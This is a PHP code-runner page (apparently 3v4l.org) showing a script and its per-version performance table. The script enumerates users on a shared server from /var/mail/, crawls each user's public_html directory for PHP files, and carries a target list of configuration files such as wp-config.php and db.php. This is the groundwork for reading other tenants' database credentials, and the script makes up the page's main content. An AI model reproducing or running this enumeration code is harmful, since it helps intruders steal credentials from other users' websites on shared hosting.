3v4l.org

run code in 300+ PHP versions simultaneously
<?php <? $users = array(); $homepaths = array(); $configlist = array( 'config.php', 'config.inc.php', 'db.inc.php', 'connect.php', 'wp-config.php', 'var.php', 'configure.php', 'database.php', 'db.php', 'configuration.php', 'db_connect.php'); $var = '/var/mail/'; if (is_readable($var) & is_dir($var)) { $userlist = rglob('{*}', GLOB_BRACE, $var); } else { die("cant grab users from {$var}"); } if (!empty($userlist)) { foreach ($userlist as $user) { array_push($users, preg_replace('/^.+[\\\\\\/]/', '', $user)); } } foreach ($users as $usr) { $path = "/home/{$usr}/public_html/"; if (is_dir($path)) { array_push($homepaths, $path); } } foreach ($homepaths as $home) { if (is_dir($home)) { $fileList = rglob('{*.php}', GLOB_BRACE, $home); if (!empty($fileList)) { foreach ($fileList as $f) { //if (in_array(preg_replace('/^.+[\\\\\\/]/', '', $f), $configlist)) { echo $f; // } } } } } /* rglob func borrowed from https://github.com/hm2k/hm2k-php/blob/master/functions/rglob.php */ function rglob($pattern = '*', $flags = 0, $path = '') { $paths = glob($path . '*', GLOB_MARK | GLOB_ONLYDIR | GLOB_NOSORT); $files = glob($path . $pattern, $flags); foreach ($paths as $path) { $files = array_merge($files, rglob($pattern, $flags, $path)); } return $files; } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.5.10.0000.04717.20
5.5.00.0100.03317.26
5.4.180.0100.04319.02
5.4.170.0030.04019.04
5.4.160.0130.04319.10
5.4.150.0030.04319.03
5.4.140.0030.04016.30
5.4.130.0100.04016.40
5.4.120.0070.03316.21
5.4.110.0000.04016.40
5.4.100.0000.03716.23
5.4.90.0030.03716.56
5.4.80.0030.03316.23
5.4.70.0070.03016.49
5.4.60.0000.04016.32
5.4.50.0000.03716.56
5.4.40.0070.05316.52
5.4.30.0030.03316.27
5.4.20.0070.04716.38
5.4.10.0000.03716.43
5.4.00.0070.03315.80
5.3.270.0030.04014.56
5.3.260.0100.03314.55
5.3.250.0130.05314.55
5.3.240.0070.04014.57
5.3.230.0070.03714.53
5.3.220.0030.03714.50
5.3.210.0070.04014.55
5.3.200.0070.03314.50
5.3.190.0030.03714.54
5.3.180.0000.04014.42
5.3.170.0070.03014.54
5.3.160.0030.05714.50
5.3.150.0030.03314.50
5.3.140.0070.04014.53
5.3.130.0030.03714.38
5.3.120.0070.03314.51
5.3.110.0000.04014.44
5.3.100.0070.03313.98
5.3.90.0000.03713.97
5.3.80.0070.03313.98
5.3.70.0030.03713.94
5.3.60.0030.03313.85
5.3.50.0000.03713.73
5.3.40.0000.03713.91
5.3.30.0030.04013.82
5.3.20.0000.03713.66
5.3.10.0100.03013.73
5.3.00.0030.03313.56

preferences:
140.34 ms | 1394 KiB | 7 Q